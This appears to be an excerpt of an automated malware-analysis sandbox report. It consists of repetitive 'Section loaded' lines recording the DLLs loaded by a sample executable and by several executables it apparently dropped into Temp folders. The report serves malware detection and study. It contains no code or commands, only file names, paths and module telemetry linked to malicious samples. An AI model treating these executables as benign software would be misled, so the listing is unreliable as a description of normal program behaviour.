Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winmm.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: wininet.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: wldp.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: profapi.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: srvcli.dll
Source: C:\Users\user\1000350002\6a8d4317d4.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000401001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Section loaded: cryptbase.dll
